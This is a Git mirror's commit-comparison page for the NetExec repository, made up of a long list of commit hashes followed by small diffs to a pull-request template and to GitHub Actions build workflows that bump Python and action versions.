mirror of
https://github.com/Pennyw0rth/NetExec.git
synced 2026-11-08 17:38:43 -10:00
Compare commits
907
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
806e4c73b2 | ||
|
|
a73624aa5c | ||
|
|
af743bf517 | ||
|
|
d5bd57dd94 | ||
|
|
6c30f3b611 | ||
|
|
b0ccbba947 | ||
|
|
0b1a4e452a | ||
|
|
47e40928b7 | ||
|
|
bf37152d3f | ||
|
|
5e400fb4b6 | ||
|
|
2540ca91b4 | ||
|
|
a4931816d9 | ||
|
|
5509c6b018 | ||
|
|
c9d9e49068 | ||
|
|
13c554bce5 | ||
|
|
c5bf67abc0 | ||
|
|
eae7ed544f | ||
|
|
1dc56bfaca | ||
|
|
92f4435b4b | ||
|
|
c47df0842c | ||
|
|
373232dea9 | ||
|
|
8b27ec57ae | ||
|
|
09ec961d04 | ||
|
|
0dcc51b106 | ||
|
|
96eda79ab8 | ||
|
|
9cb9fe7728 | ||
|
|
385715440c | ||
|
|
5a786487b6 | ||
|
|
dcf7e97470 | ||
|
|
8cad72623e | ||
|
|
47960d14c3 | ||
|
|
531b760fb6 | ||
|
|
4e4dfae633 | ||
|
|
aa943aa08e | ||
|
|
725b1df643 | ||
|
|
652558309d | ||
|
|
b32f95bcbc | ||
|
|
f6c22db7be | ||
|
|
518f7d4078 | ||
|
|
27f58aee79 | ||
|
|
7755d05431 | ||
|
|
a24e1327ac | ||
|
|
13c02f4524 | ||
|
|
98062cb345 | ||
|
|
826dec4a89 | ||
|
|
d5737c61b1 | ||
|
|
5a71b62acc | ||
|
|
d5978062ff | ||
|
|
1248552ef8 | ||
|
|
ecad15e85a | ||
|
|
6fcfb8d031 | ||
|
|
f00c835c09 | ||
|
|
0cdd60a60f | ||
|
|
99fe618dbd | ||
|
|
677e25485b | ||
|
|
2747f1efd8 | ||
|
|
3897ceeb0a | ||
|
|
f31fb4f098 | ||
|
|
a2b336d94a | ||
|
|
4ae32a73cd | ||
|
|
37efce100a | ||
|
|
75eecab8ed | ||
|
|
a449284d20 | ||
|
|
4eae4a2dd8 | ||
|
|
718b9fe4b6 | ||
|
|
2d3e1be1ab | ||
|
|
a0aaf1ad12 | ||
|
|
3318fa8ea2 | ||
|
|
71cfd4b347 | ||
|
|
9c8e6f43ca | ||
|
|
62ba3588ba | ||
|
|
45f899219c | ||
|
|
8d0b4e3e7b | ||
|
|
52a28aa88d | ||
|
|
ccf81517a4 | ||
|
|
87a5c366df | ||
|
|
4cd4dbbd83 | ||
|
|
6b0cfcdea8 | ||
|
|
7146824299 | ||
|
|
6de62472ef | ||
|
|
f4fa975d36 | ||
|
|
166df14514 | ||
|
|
aa832c5f1a | ||
|
|
0aeb105bd8 | ||
|
|
3fa2c746d6 | ||
|
|
da8ef0f0fb | ||
|
|
87c223ed5e | ||
|
|
91c339ea30 | ||
|
|
0f1c2f933b | ||
|
|
450f1b2a89 | ||
|
|
7723e74b30 | ||
|
|
69baa8c133 | ||
|
|
7d8d1dbd2d | ||
|
|
0892e066e4 | ||
|
|
ea77ad9a4e | ||
|
|
cbcdf3acd3 | ||
|
|
8a35848474 | ||
|
|
1145cfe15f | ||
|
|
d6600d5f7c | ||
|
|
0acdbbe345 | ||
|
|
1fe387e8f9 | ||
|
|
613fd5e48e | ||
|
|
a727f0283f | ||
|
|
b520fdf9f5 | ||
|
|
26c4847018 | ||
|
|
f0602c7804 | ||
|
|
340bc60759 | ||
|
|
ae653c283b | ||
|
|
7162fd9c3d | ||
|
|
adb423ef09 | ||
|
|
97703063b6 | ||
|
|
95ae5deb27 | ||
|
|
c4bf023032 | ||
|
|
493b12e1fb | ||
|
|
d343e212cd | ||
|
|
c2cb7521df | ||
|
|
98c4b15781 | ||
|
|
36e4f4fb66 | ||
|
|
2621dcad02 | ||
|
|
725c96f57a | ||
|
|
fff8d09d2a | ||
|
|
f8293d156b | ||
|
|
84dbe26bd6 | ||
|
|
f7c6f20ba7 | ||
|
|
93446a593f | ||
|
|
ddc00c97da | ||
|
|
0129b43a82 | ||
|
|
25e7529a7c | ||
|
|
d279bb8ad1 | ||
|
|
402ef37d02 | ||
|
|
a45ba3b0fc | ||
|
|
9259825d36 | ||
|
|
ec8abe6c6c | ||
|
|
0063ec0995 | ||
|
|
c7f28f5363 | ||
|
|
875bf28b8b | ||
|
|
573a23c45a | ||
|
|
ed793d7883 | ||
|
|
e87489f8ca | ||
|
|
23f4e63b65 | ||
|
|
6135e12cdb | ||
|
|
dafc28a8c6 | ||
|
|
62afd52961 | ||
|
|
446bb30be3 | ||
|
|
02616525ca | ||
|
|
7e1537b935 | ||
|
|
7d80a3fceb | ||
|
|
82002a7c3b | ||
|
|
bb838c75e2 | ||
|
|
5889e55906 | ||
|
|
c1e1205a9a | ||
|
|
d0a4be4447 | ||
|
|
d214067218 | ||
|
|
e68cc41906 | ||
|
|
d43b861533 | ||
|
|
a91761a755 | ||
|
|
9161b29e90 | ||
|
|
d201e4047e | ||
|
|
9203a5817c | ||
|
|
0a5c1fd698 | ||
|
|
fc6e34ef76 | ||
|
|
24cdf8d604 | ||
|
|
6e390e8957 | ||
|
|
674fe5ed88 | ||
|
|
8aec485b79 | ||
|
|
4a696dff7e | ||
|
|
19ba129350 | ||
|
|
9768568b65 | ||
|
|
9e44b7f1ed | ||
|
|
5f533f2c8f | ||
|
|
13a6653503 | ||
|
|
df4e992c52 | ||
|
|
67ce02eae7 | ||
|
|
434b0f4b80 | ||
|
|
9e4366f97f | ||
|
|
de95d01c64 | ||
|
|
0814931cf0 | ||
|
|
d87c379ac5 | ||
|
|
d1f7db656b | ||
|
|
4571f93dce | ||
|
|
253f797f58 | ||
|
|
5da61176b4 | ||
|
|
1ade4d6702 | ||
|
|
45ea1de213 | ||
|
|
0083554cca | ||
|
|
4cc5d87d12 | ||
|
|
ae684bf0df | ||
|
|
ca5a076f1e | ||
|
|
53b42df414 | ||
|
|
74e6aa03c1 | ||
|
|
47bb14680a | ||
|
|
2343ddf62a | ||
|
|
c9111968e2 | ||
|
|
6c807b283c | ||
|
|
23de82520f | ||
|
|
80f00af37d | ||
|
|
724401af7a | ||
|
|
98c92077cc | ||
|
|
cb76ad8ded | ||
|
|
7688320925 | ||
|
|
c97e562bcc | ||
|
|
6120249dd0 | ||
|
|
b14830f17a | ||
|
|
f79a652723 | ||
|
|
384eb30cdd | ||
|
|
7b44298e21 | ||
|
|
dd72ee377d | ||
|
|
f6c376df17 | ||
|
|
e50bf7e686 | ||
|
|
8a9e9a164c | ||
|
|
a53a1ce865 | ||
|
|
2d21f4d7a6 | ||
|
|
ad6c385493 | ||
|
|
307aa248cb | ||
|
|
1911ca9e51 | ||
|
|
c6c1c2f14e | ||
|
|
4ffdbde343 | ||
|
|
bba9e72530 | ||
|
|
342a13021b | ||
|
|
3235b1d9df | ||
|
|
c60141f38b | ||
|
|
18f7033acd | ||
|
|
bb8f92092d | ||
|
|
0cc9a452f2 | ||
|
|
39f1309ff2 | ||
|
|
1476373519 | ||
|
|
4de3f32629 | ||
|
|
1d4b4cbc60 | ||
|
|
c2f85db63b | ||
|
|
5e14baee44 | ||
|
|
8046495d3f | ||
|
|
c0fc42ba26 | ||
|
|
5969756b35 | ||
|
|
ab34ca7577 | ||
|
|
f282ca7dae | ||
|
|
449ce2468f | ||
|
|
d5b5ec9d86 | ||
|
|
c7a08866f4 | ||
|
|
45e5e4c3e8 | ||
|
|
b5b9f07575 | ||
|
|
310cc9b333 | ||
|
|
f46f63b86d | ||
|
|
f3ebe6b781 | ||
|
|
f6cd501eed | ||
|
|
d8020bba2b | ||
|
|
78c08dfb6d | ||
|
|
9e1643610c | ||
|
|
97fb011169 | ||
|
|
3f06ea9812 | ||
|
|
f87535ee3a | ||
|
|
cb6cef60e8 | ||
|
|
7d918e403b | ||
|
|
056b69a92c | ||
|
|
34063e3410 | ||
|
|
6a6fa94800 | ||
|
|
643519ddc1 | ||
|
|
7f43b4a4dd | ||
|
|
d6445d553e | ||
|
|
c904f3aa81 | ||
|
|
34f6ce2580 | ||
|
|
93a7bd6c7d | ||
|
|
30166dd418 | ||
|
|
8309947719 | ||
|
|
e5e750d897 | ||
|
|
49220a323d | ||
|
|
84d896e22a | ||
|
|
6ce260fca1 | ||
|
|
80f528c160 | ||
|
|
9511ca2b3b | ||
|
|
a9412abeac | ||
|
|
dd27cc48f0 | ||
|
|
ed89236e12 | ||
|
|
29d94f9baa | ||
|
|
e10756a973 | ||
|
|
8d9b7eede3 | ||
|
|
7bb58133b0 | ||
|
|
da3ad306e8 | ||
|
|
dd6c62e8c2 | ||
|
|
fdb1a7993a | ||
|
|
675975e614 | ||
|
|
9b1455f77a | ||
|
|
5db7e76cf4 | ||
|
|
bf6fd5e91f | ||
|
|
66500bf2db | ||
|
|
b250e1d9fd | ||
|
|
a5ec90e402 | ||
|
|
142530ca49 | ||
|
|
5e04926d7e | ||
|
|
f999da0a31 | ||
|
|
5a63253d16 | ||
|
|
835be02966 | ||
|
|
df0b4bba3a | ||
|
|
72ff0ae041 | ||
|
|
d11532c95a | ||
|
|
d666ff3f4a | ||
|
|
333a7f31de | ||
|
|
74d8787166 | ||
|
|
93acdba831 | ||
|
|
bb87479069 | ||
|
|
11062abd4b | ||
|
|
923fc4625f | ||
|
|
5103f57fac | ||
|
|
4a3f3e3120 | ||
|
|
26e4ce4b11 | ||
|
|
905f63677c | ||
|
|
5d680a9288 | ||
|
|
501c9e0c10 | ||
|
|
3ee33cdd61 | ||
|
|
a562430416 | ||
|
|
1bfe964aa5 | ||
|
|
0236ef7877 | ||
|
|
33ecfb1965 | ||
|
|
5aca57804c | ||
|
|
36eedde236 | ||
|
|
3904dcd063 | ||
|
|
cca63a2e76 | ||
|
|
a4286ee3ab | ||
|
|
0cbd63aa25 | ||
|
|
c8160b6fe5 | ||
|
|
e744305427 | ||
|
|
5f87918e5f | ||
|
|
28bc001b46 | ||
|
|
631107dee4 | ||
|
|
c71e52dbf8 | ||
|
|
716ae2a148 | ||
|
|
36ca3a0326 | ||
|
|
cf40b4c69e | ||
|
|
c0fe839e28 | ||
|
|
f9ce149d12 | ||
|
|
a2ae0bde18 | ||
|
|
fb96e7868c | ||
|
|
23b4a23c5d | ||
|
|
7a6945a789 | ||
|
|
56e92220e2 | ||
|
|
37ae051ad4 | ||
|
|
d5c6bd927f | ||
|
|
4303f1d43a | ||
|
|
96d23cd174 | ||
|
|
beee54bea6 | ||
|
|
caba9f662f | ||
|
|
fcc22c212d | ||
|
|
cfc8f2fcfa | ||
|
|
6593fa84db | ||
|
|
07540ee0c7 | ||
|
|
176b9618f1 | ||
|
|
b02fff7e3c | ||
|
|
3ec787cda2 | ||
|
|
45b81a4306 | ||
|
|
7296e3c715 | ||
|
|
74f39f50d6 | ||
|
|
2c50411a59 | ||
|
|
b22c4bc6b4 | ||
|
|
121942320e | ||
|
|
59faa48cfd | ||
|
|
d8e5e94ccb | ||
|
|
fbd4e1ae9a | ||
|
|
131e29e117 | ||
|
|
3b443d7c83 | ||
|
|
1d55ccf5b1 | ||
|
|
7c95169907 | ||
|
|
57b29bcc71 | ||
|
|
0f810c958d | ||
|
|
f93e9c3ea4 | ||
|
|
2c421a7ed5 | ||
|
|
4100bb3e61 | ||
|
|
7a98330156 | ||
|
|
14c4506767 | ||
|
|
92dc819673 | ||
|
|
7a6565c1e1 | ||
|
|
2a15590ba5 | ||
|
|
281feb3809 | ||
|
|
964be24cfa | ||
|
|
8ad48fb757 | ||
|
|
ce963a0fa7 | ||
|
|
b79ddec91f | ||
|
|
d33f1640b7 | ||
|
|
dc39e0e6a9 | ||
|
|
3e44b41e8b | ||
|
|
1b7dbe3ba1 | ||
|
|
32b20cdc22 | ||
|
|
c0e618fe41 | ||
|
|
14c295923f | ||
|
|
bb378830b3 | ||
|
|
07980ea486 | ||
|
|
2a98a9255e | ||
|
|
bc2bc32797 | ||
|
|
2afb383cdf | ||
|
|
1e583a066f | ||
|
|
930f045190 | ||
|
|
4de3126672 | ||
|
|
73ce6d773f | ||
|
|
ecd3fcd255 | ||
|
|
d05aeb5631 | ||
|
|
ea7e0925a1 | ||
|
|
4767762939 | ||
|
|
4a8e702f24 | ||
|
|
1c55fd806a | ||
|
|
02981b187e | ||
|
|
100a878a2c | ||
|
|
59e091ba34 | ||
|
|
0b2ffca913 | ||
|
|
2e1f225859 | ||
|
|
4c9db0a377 | ||
|
|
277a78c29c | ||
|
|
a284b00678 | ||
|
|
cb44d09df7 | ||
|
|
fb369f05b6 | ||
|
|
278124f289 | ||
|
|
0ff19ac09e | ||
|
|
87e383fda5 | ||
|
|
65e2b3f7a9 | ||
|
|
25fd5c193a | ||
|
|
a9ef92be9b | ||
|
|
aa68664ba5 | ||
|
|
9e3ea172ad | ||
|
|
fad01c8175 | ||
|
|
c9ce989b43 | ||
|
|
52da03ec1b | ||
|
|
4516401d15 | ||
|
|
706da13ef8 | ||
|
|
69715850dc | ||
|
|
d32080e507 | ||
|
|
051fa81da4 | ||
|
|
07c15cd413 | ||
|
|
95b1af5a16 | ||
|
|
dcb3bbd025 | ||
|
|
9997091980 | ||
|
|
c4671a2c17 | ||
|
|
3a446436a0 | ||
|
|
55c4cfd219 | ||
|
|
8a55f22dc0 | ||
|
|
5174ce4a6b | ||
|
|
74eb4cbcc8 | ||
|
|
2c5037f0ab | ||
|
|
bed186712d | ||
|
|
3ca3481270 | ||
|
|
bd50a585a1 | ||
|
|
af8001591c | ||
|
|
24135483e2 | ||
|
|
d7d7505fa1 | ||
|
|
45db7e67aa | ||
|
|
7b7f4b2475 | ||
|
|
b9f52fdd4b | ||
|
|
410e040a28 | ||
|
|
9644cae865 | ||
|
|
9e024582a4 | ||
|
|
8dabb3d0e6 | ||
|
|
9d558d95db | ||
|
|
e19868ecb3 | ||
|
|
4f10c0b45a | ||
|
|
af512f1e6b | ||
|
|
54fea6358e | ||
|
|
b4b6714125 | ||
|
|
977a3d60a3 | ||
|
|
b76c848767 | ||
|
|
07554152db | ||
|
|
6534a4592b | ||
|
|
3b58928ab2 | ||
|
|
9b5317c234 | ||
|
|
29e239469e | ||
|
|
2efaafaf92 | ||
|
|
0f98d92340 | ||
|
|
8439d4f9cf | ||
|
|
05ad3c6bc4 | ||
|
|
77e1f88d5b | ||
|
|
c64cf0a93a | ||
|
|
743076acd3 | ||
|
|
b3872600e9 | ||
|
|
dca1d088c3 | ||
|
|
0da04ddb20 | ||
|
|
f5d5a1b4fe | ||
|
|
bac7a34285 | ||
|
|
573eb60002 | ||
|
|
0fc09fae53 | ||
|
|
496b002ad2 | ||
|
|
2235050f60 | ||
|
|
3fff8b1721 | ||
|
|
620f4208b4 | ||
|
|
dbd20cb72a | ||
|
|
08b486da5c | ||
|
|
cd75a4c5e9 | ||
|
|
3358f77d22 | ||
|
|
7586145d24 | ||
|
|
627bc5ee18 | ||
|
|
bb11d413cd | ||
|
|
801420da75 | ||
|
|
14ccdfc63c | ||
|
|
33f3f7c449 | ||
|
|
64f0f78ed3 | ||
|
|
94c2884c5f | ||
|
|
ab579b3d45 | ||
|
|
a70e3b8c6b | ||
|
|
ef0ca60c39 | ||
|
|
d9982b486d | ||
|
|
72fee6af49 | ||
|
|
c012e04ecf | ||
|
|
e78b05adad | ||
|
|
a83c412062 | ||
|
|
92c4f014a6 | ||
|
|
fd378f6675 | ||
|
|
d4808ac9e9 | ||
|
|
864b7aeed3 | ||
|
|
c294219b7a | ||
|
|
841f9d8fd0 | ||
|
|
bab8acbf4d | ||
|
|
dc61428a0e | ||
|
|
9c17cf9bb2 | ||
|
|
c66ab1af61 | ||
|
|
26391a3370 | ||
|
|
85600e66b4 | ||
|
|
2f17bb27b3 | ||
|
|
c96b703bd7 | ||
|
|
ec09a5a35b | ||
|
|
7b4f5ea65f | ||
|
|
78063a0308 | ||
|
|
9889414c2e | ||
|
|
415af7e613 | ||
|
|
3d186ec434 | ||
|
|
92c892fd41 | ||
|
|
78da498846 | ||
|
|
1b495cd372 | ||
|
|
9e6ba5a4c0 | ||
|
|
3e5d825852 | ||
|
|
6f7c4dbc1a | ||
|
|
110f61bc3b | ||
|
|
a382fbd492 | ||
|
|
b5e9f1f069 | ||
|
|
7f3233008d | ||
|
|
496ea65394 | ||
|
|
8e421046d1 | ||
|
|
623bfd9fe2 | ||
|
|
cc659638c8 | ||
|
|
4627d0a119 | ||
|
|
a1bb4ee0df | ||
|
|
f4617f6436 | ||
|
|
6e2b050d33 | ||
|
|
d212ae7c2d | ||
|
|
d6e77d19c6 | ||
|
|
536cede147 | ||
|
|
d4a17c00a0 | ||
|
|
2bf95cc899 | ||
|
|
c312367b34 | ||
|
|
5b48d68afb | ||
|
|
e2bec64be2 | ||
|
|
c2fe271738 | ||
|
|
fa8d5d5299 | ||
|
|
5bcf955bb3 | ||
|
|
6e59002b6f | ||
|
|
5b14c3f999 | ||
|
|
29de0ccf34 | ||
|
|
6dcc0cf2d3 | ||
|
|
f6436fd9ba | ||
|
|
c3f10eff87 | ||
|
|
46cd610fb0 | ||
|
|
7e90ad2c0f | ||
|
|
ed0b03917e | ||
|
|
6564038d51 | ||
|
|
743a84dbe6 | ||
|
|
4612df869e | ||
|
|
ae4317c955 | ||
|
|
a798bb69c2 | ||
|
|
bf3973068b | ||
|
|
821741a789 | ||
|
|
5a364f7929 | ||
|
|
581d5c600a | ||
|
|
a140c9479c | ||
|
|
2a724d3cd3 | ||
|
|
6d4fdfdb2d | ||
|
|
3c197634b2 | ||
|
|
26e08ca6a0 | ||
|
|
dadad0e3f8 | ||
|
|
29329bfee2 | ||
|
|
807e47200d | ||
|
|
a493c04e14 | ||
|
|
485f72043e | ||
|
|
9e61764282 | ||
|
|
8211c33765 | ||
|
|
8485417358 | ||
|
|
c7164b6c3f | ||
|
|
e583d5fbed | ||
|
|
15f84fd93d | ||
|
|
c2130aa67f | ||
|
|
cc5016f75a | ||
|
|
a804041140 | ||
|
|
ebb4d3e405 | ||
|
|
f419884249 | ||
|
|
95ac3716d7 | ||
|
|
c1f7ed3310 | ||
|
|
a0e0df2394 | ||
|
|
94605f18e7 | ||
|
|
d61eec0146 | ||
|
|
b59d8238f5 | ||
|
|
83a16b654b | ||
|
|
3ce7b6b37a | ||
|
|
b81ea6cb3a | ||
|
|
a7141ae6f3 | ||
|
|
0da4cf8455 | ||
|
|
e4a9352379 | ||
|
|
4a47550d94 | ||
|
|
7a86d0f045 | ||
|
|
aa9075e35c | ||
|
|
7db7de4f1e | ||
|
|
dadeff939d | ||
|
|
a3bc425e9f | ||
|
|
c1780a1a26 | ||
|
|
50a5b6b0de | ||
|
|
a4ad6895c1 | ||
|
|
43da2afa58 | ||
|
|
c1589955fd | ||
|
|
5a0f1a5a6a | ||
|
|
0dcfc7399b | ||
|
|
567b2bf7cc | ||
|
|
ed0187391c | ||
|
|
092a14f1fe | ||
|
|
6fa13820dc | ||
|
|
85b2b6e084 | ||
|
|
754ca2d423 | ||
|
|
f17a61f531 | ||
|
|
e1c66357d6 | ||
|
|
c2dfa67c6c | ||
|
|
27313a00b6 | ||
|
|
90cc0e57d7 | ||
|
|
7729139d10 | ||
|
|
41681ee1cb | ||
|
|
bbb9d15e66 | ||
|
|
4ea4b5f961 | ||
|
|
998b8787a6 | ||
|
|
b5f9e131ee | ||
|
|
f396ff0b66 | ||
|
|
1eafa319bc | ||
|
|
c1308e6186 | ||
|
|
e737dd6aca | ||
|
|
555347752a | ||
|
|
f95b9354b7 | ||
|
|
74d7d07b1f | ||
|
|
fbfbcc3baa | ||
|
|
79ecfa8a4d | ||
|
|
4ae6c195f0 | ||
|
|
62b535ea50 | ||
|
|
84aa78898b | ||
|
|
8c5b3617e8 | ||
|
|
9031589f0d | ||
|
|
a877047ba2 | ||
|
|
6f24858dc0 | ||
|
|
1a38a288df | ||
|
|
aef2675cee | ||
|
|
b48f6945ae | ||
|
|
4cd46c7fd9 | ||
|
|
fadce581ef | ||
|
|
1e624d8606 | ||
|
|
c23db63b97 | ||
|
|
6b5eb1a240 | ||
|
|
e9ed46b6e0 | ||
|
|
f05601f645 | ||
|
|
8c39962dba | ||
|
|
ff194d3e0b | ||
|
|
f47ebb3356 | ||
|
|
04a695ff93 | ||
|
|
ac2dfc95e7 | ||
|
|
3b1eac7be5 | ||
|
|
ad1b421422 | ||
|
|
d89709feac | ||
|
|
045f2c291b | ||
|
|
f191f780a3 | ||
|
|
78a270b57b | ||
|
|
ee549ccae7 | ||
|
|
e1ecf90a78 | ||
|
|
4e855f811f | ||
|
|
31b909b97d | ||
|
|
5da577f5c3 | ||
|
|
bb95e0faa4 | ||
|
|
1b4081e54c | ||
|
|
99d4e49ac1 | ||
|
|
d52a651bd4 | ||
|
|
6dbf14b87f | ||
|
|
cea324c97b | ||
|
|
bb2f3ec13a | ||
|
|
2eebb7c513 | ||
|
|
0dbea8e8a3 | ||
|
|
9153779671 | ||
|
|
6477771cfe | ||
|
|
87199f6e5c | ||
|
|
509f6d1373 | ||
|
|
a9181f469d | ||
|
|
e927f33f2b | ||
|
|
6e5929175c | ||
|
|
ea9acdcb40 | ||
|
|
7657f9603a | ||
|
|
0175be7b08 | ||
|
|
9cc44f65e7 | ||
|
|
2744a2c4ed | ||
|
|
b771c28b51 | ||
|
|
7070305e6c | ||
|
|
cafa670113 | ||
|
|
e14be335c3 | ||
|
|
3fd8598389 | ||
|
|
425ad8ea23 | ||
|
|
45a9121bb1 | ||
|
|
e4b7ea64eb | ||
|
|
9bc05e55ee | ||
|
|
0034048da4 | ||
|
|
e7acdc78e1 | ||
|
|
35b4c4c63d | ||
|
|
dfb28184a8 | ||
|
|
4a776651c1 | ||
|
|
1c19cbe836 | ||
|
|
62496a3863 | ||
|
|
4a0f0381a6 | ||
|
|
34ac854a3c | ||
|
|
2de896cb49 | ||
|
|
821f20e114 | ||
|
|
43c1d33904 | ||
|
|
24ad5e63e2 | ||
|
|
2ac0d4d543 | ||
|
|
4ac77486d0 | ||
|
|
2419d2d4d8 | ||
|
|
f9d3caab63 | ||
|
|
0cc6151a0b | ||
|
|
cd9e1adcfd | ||
|
|
a8954f1f32 | ||
|
|
363691aa4f | ||
|
|
675480c5ca | ||
|
|
ee9409a387 | ||
|
|
f9799496ac | ||
|
|
83514bf2a9 | ||
|
|
b9d788b8d4 | ||
|
|
b59f252363 | ||
|
|
db4c2fad2b | ||
|
|
375611cfd5 | ||
|
|
96bff4e3aa | ||
|
|
d82ee41d5b | ||
|
|
af4a28d9b9 | ||
|
|
5810d14038 | ||
|
|
739791e33b | ||
|
|
e982a68b44 | ||
|
|
66da98c318 | ||
|
|
069fb908b0 | ||
|
|
1292f0f8fb | ||
|
|
f8ac2e1ff1 | ||
|
|
1839c0cb4c | ||
|
|
e76d4e98fe | ||
|
|
506486fa62 | ||
|
|
a28c441ae2 | ||
|
|
3db14d4de4 | ||
|
|
6afb8bba0b | ||
|
|
7bb04c92b1 | ||
|
|
80d03ad3ee | ||
|
|
b4612ea38c | ||
|
|
11983af3fb | ||
|
|
41a21ee838 | ||
|
|
c0adbf1eb8 | ||
|
|
41b8fbb715 | ||
|
|
4504cf29d0 | ||
|
|
693da7120b | ||
|
|
413e5cd5d0 | ||
|
|
f18c442a10 | ||
|
|
548b6d0c28 | ||
|
|
7b3145e6ec | ||
|
|
0234219daa | ||
|
|
cb639c8854 | ||
|
|
74dcef77ce | ||
|
|
18a857396c | ||
|
|
176c480beb | ||
|
|
21515206b4 | ||
|
|
b9882167a3 | ||
|
|
6a735c1619 | ||
|
|
703191308a | ||
|
|
be9ee13290 | ||
|
|
f54deff68e | ||
|
|
43da81861f | ||
|
|
398716de24 | ||
|
|
4cb3b417d6 | ||
|
|
a1ca2697e3 | ||
|
|
8ed41498ff | ||
|
|
ab0af5ab4a | ||
|
|
6651fb0698 | ||
|
|
1839f7a5ac | ||
|
|
8a6fb7c67a | ||
|
|
a1c57ee8d2 | ||
|
|
280baadf07 | ||
|
|
766ef1e81e | ||
|
|
5ae4134ab7 | ||
|
|
2575bce0d6 | ||
|
|
3a5c109fed | ||
|
|
5b186f4295 | ||
|
|
e0faaf3dbf | ||
|
|
d071631c1a | ||
|
|
59b6bf8f76 | ||
|
|
7e52f8da69 | ||
|
|
54cad53328 | ||
|
|
e96c301721 | ||
|
|
3c64d27c68 | ||
|
|
71cb5e99ef | ||
|
|
d036fa8c04 | ||
|
|
fbf2546172 | ||
|
|
abb5f1d99a | ||
|
|
d9ce9e9b62 | ||
|
|
4045bb4185 | ||
|
|
9d8eeb80e1 | ||
|
|
f17ea75de3 | ||
|
|
18369b1739 | ||
|
|
3c89bcb19a | ||
|
|
68c827dcf6 | ||
|
|
eb6be54ff1 | ||
|
|
852e7819e5 | ||
|
|
42ce37d231 | ||
|
|
63e8295c46 | ||
|
|
b86f675100 | ||
|
|
ccbeb4e402 | ||
|
|
64e78fd7cd | ||
|
|
d8f0f41d76 | ||
|
|
9f3a77c2ab | ||
|
|
63f2d6943d | ||
|
|
c83895697f | ||
|
|
98236804ab | ||
|
|
f9b61391ca | ||
|
|
5b931d0cfa | ||
|
|
0d5ac4e59e | ||
|
|
45e1f0815f | ||
|
|
21b1cfbb8c | ||
|
|
018ad9dbe7 | ||
|
|
1f83e6393f | ||
|
|
da088d9e60 | ||
|
|
ce31e24111 | ||
|
|
aab22cf4bc | ||
|
|
6e391cad46 | ||
|
|
5f45bfcf37 | ||
|
|
592793c718 | ||
|
|
5983b86b52 | ||
|
|
449f556dc1 | ||
|
|
669a55fd98 | ||
|
|
ead02d812e | ||
|
|
cce5c32eb1 | ||
|
|
b0b4641724 | ||
|
|
8bbab764c5 | ||
|
|
4f5453ee09 | ||
|
|
9d32ea0a2b | ||
|
|
b9d73524ee | ||
|
|
e50f7acbd5 | ||
|
|
ada4905922 | ||
|
|
e13ec2776e | ||
|
|
073938f67a | ||
|
|
2ec51902a3 | ||
|
|
755113d3c7 | ||
|
|
447bded268 | ||
|
|
e7689542f2 | ||
|
|
cf8c1b19ca | ||
|
|
27caff59d5 | ||
|
|
19ea1bc559 | ||
|
|
73b35eb0ea | ||
|
|
d5bb6d9606 | ||
|
|
1e90103b4d | ||
|
|
5ccf0d3553 | ||
|
|
8132bf73d3 | ||
|
|
1105dcdf52 | ||
|
|
bfed3d462b | ||
|
|
39b877a3f1 | ||
|
|
da61939a0d | ||
|
|
3724142717 | ||
|
|
4919fe05fd | ||
|
|
6838793301 | ||
|
|
a579d2296a | ||
|
|
cc251e8b19 | ||
|
|
dcee201380 | ||
|
|
39006b1fed | ||
|
|
ea5426b468 | ||
|
|
8c2155cae5 | ||
|
|
0b5bad9ba0 | ||
|
|
c09304ef6c | ||
|
|
008c490f5b | ||
|
|
9d3bc4d071 | ||
|
|
3eaa1632c9 | ||
|
|
65fc94f8dd | ||
|
|
7b37015b62 | ||
|
|
4c5844820f | ||
|
|
27b52e2da4 | ||
|
|
d3c9d7258a | ||
|
|
fbec1c7c31 | ||
|
|
71391b11de | ||
|
|
f1894b2c6b | ||
|
|
9cf6d983e2 | ||
|
|
fbfef1b4b0 | ||
|
|
80839d850e | ||
|
|
db3e7923fb | ||
|
|
56feb10348 | ||
|
|
b1238fceb7 | ||
|
|
763cf57c18 | ||
|
|
e7d30329ed | ||
|
|
4143073123 | ||
|
|
a636fb45ae | ||
|
|
56795fc713 | ||
|
|
610bad1bae | ||
|
|
0aaad63819 | ||
|
|
406507e8de | ||
|
|
6c4e8ead5e | ||
|
|
5ff488eae5 | ||
|
|
c354978fa1 | ||
|
|
50ed8279e1 | ||
|
|
f55cbf6f23 | ||
|
|
219deaf073 | ||
|
|
dffd862595 | ||
|
|
46574d41f6 | ||
|
|
1c965cb5f1 | ||
|
|
4815249c78 | ||
|
|
ae6b659749 | ||
|
|
169a7dc148 | ||
|
|
3deabf5787 |
No files matched your search
-8
@@ -1,11 +1,3 @@
|
||||
---
|
||||
name: Pull request
|
||||
about: Update code to fix a bug or add an enhancement/feature
|
||||
title: ''
|
||||
labels: ''
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
## Description
|
||||
|
||||
Please include a summary of the change and which issue is fixed, or what the enhancement does.
|
||||
@@ -10,12 +10,12 @@ jobs:
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, macOS-latest, windows-latest]
|
||||
python-version: ["3.11"]
|
||||
python-version: ["3.13"]
|
||||
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- uses: actions/checkout@v4
|
||||
- name: NetExec set up python on ${{ matrix.os }}
|
||||
uses: actions/setup-python@v4
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
- name: Build Native Binary
|
||||
@@ -25,13 +25,13 @@ jobs:
|
||||
pyinstaller netexec.spec
|
||||
- name: Upload Windows Binary
|
||||
if: runner.os == 'windows'
|
||||
uses: actions/upload-artifact@v3
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: nxc.exe
|
||||
path: dist/nxc.exe
|
||||
- name: Upload Nix/OSx Binary
|
||||
if: runner.os != 'windows'
|
||||
uses: actions/upload-artifact@v3
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: nxc-${{ matrix.os }}
|
||||
path: dist/nxc
|
||||
@@ -10,11 +10,11 @@ jobs:
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, macOS-latest, windows-latest]
|
||||
python-version: ["3.8", "3.9", "3.10", "3.11"]
|
||||
python-version: ["3.10", "3.11", "3.12", "3.13"]
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- uses: actions/checkout@v4
|
||||
- name: NetExec set up python on ${{ matrix.os }}
|
||||
